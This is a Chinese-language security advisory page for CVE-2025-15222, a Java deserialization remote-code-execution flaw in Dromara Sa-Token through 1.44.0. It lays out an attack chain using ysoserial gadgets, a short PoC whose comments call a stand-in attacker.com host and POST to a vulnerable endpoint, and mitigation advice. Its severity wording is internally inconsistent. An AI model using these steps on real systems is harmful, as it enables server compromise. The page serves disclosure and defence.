IPBUF安全漏洞报告
English
CVE-2025-15222 CVSS 5.0 中危

CVE-2025-15222 Dromara Sa-Token 反序列化远程代码执行漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2025-15222
漏洞类型
反序列化漏洞
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Dromara Sa-Token

相关标签

CVE-2025-15222反序列化漏洞远程代码执行Dromara Sa-TokenJavaObjectInputStreambase64ysoserial中危漏洞

漏洞概述

CVE-2025-15222是Dromara Sa-Token框架中的一个高危反序列化漏洞,影响版本至1.44.0。该漏洞存在于SaSerializerTemplateForJdkUseBase64.java文件中的ObjectInputStream.readObject方法。攻击者可通过构造恶意的序列化对象,利用base64编码传输payload,在反序列化过程中执行任意代码。由于攻击复杂度较高且需要低权限即可利用,对未修复的系统构成严重威胁。漏洞利用代码已公开,厂商在收到通知后未做出回应。建议受影响的用户尽快升级到最新版本或采取临时缓解措施。

技术细节

该漏洞源于Sa-Token框架在处理序列化数据时使用了不安全的ObjectInputStream.readObject方法。攻击者可以通过以下方式利用:1) 构造包含恶意代码的序列化对象(如使用ysoserial工具生成gadget);2) 将恶意payload进行base64编码;3) 发送到受影响接口触发反序列化。SaSerializerTemplateForJdkUseBase64.java文件在处理用户输入时未进行充分的安全校验,直接将base64解码后的数据传入ObjectInputStream进行反序列化。Java反序列化漏洞允许攻击者在反序列化过程中执行任意构造函数、getter/setter方法或代码块,可能导致远程代码执行。由于CVSS评分5.0(AV:N/AC:H/PR:L/UI:N),攻击可通过网络发起,需要低权限但无用户交互,机密性、完整性和可用性影响均为低到中等水平。

攻击链分析

STEP 1
步骤1
攻击者使用ysoserial等工具生成恶意的序列化payload(如URLDNS、Spring1、ROME等gadget链)
STEP 2
步骤2
将恶意序列化对象进行base64编码,以便通过HTTP请求传输
STEP 3
步骤3
向存在漏洞的Sa-Token接口发送包含恶意payload的HTTP请求
STEP 4
步骤4
漏洞代码在SaSerializerTemplateForJdkUseBase64.java中调用Base64解码
STEP 5
步骤5
解码后的数据被传入ObjectInputStream.readObject()进行反序列化
STEP 6
步骤6
恶意gadget链在反序列化过程中触发,执行任意代码或发起DNS/HTTP请求

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import java.io.*; import java.util.Base64; public class CVE_2025_15222_PoC { public static void main(String[] args) throws Exception { // Generate malicious serialized payload using ysoserial // Example: java -jar ysoserial.jar URLDNS http://attacker.com > payload.ser // Read theysoserial generated payload String payloadFile = "payload.ser"; byte[] payload = Files.readAllBytes(Paths.get(payloadFile)); // Encode to base64 for transmission String base64Payload = Base64.getEncoder().encodeToString(payload); System.out.println("Base64 Encoded Payload:"); System.out.println(base64Payload); // Send the payload to the vulnerable endpoint // The vulnerable code will decode and deserialize without validation // POST /sa-token/deserialize // Body: {"data": "base64Payload"} } } // Alternative: Direct exploitation via HTTP request // curl -X POST http://target:8080/sa-token/deserialize -d '{"data":"base64_encoded_gadget"}'

影响范围

Dromara Sa-Token <= 1.44.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在应用层实现输入验证,过滤异常的base64编码数据;2) 禁用或限制ObjectInputStream的使用;3) 配置网络层防火墙规则,限制对敏感接口的访问;4) 启用应用安全日志监控,检测可疑的反序列化行为;5) 考虑使用RASP(运行时应用自保护)技术实时阻断反序列化攻击。建议尽快安排升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表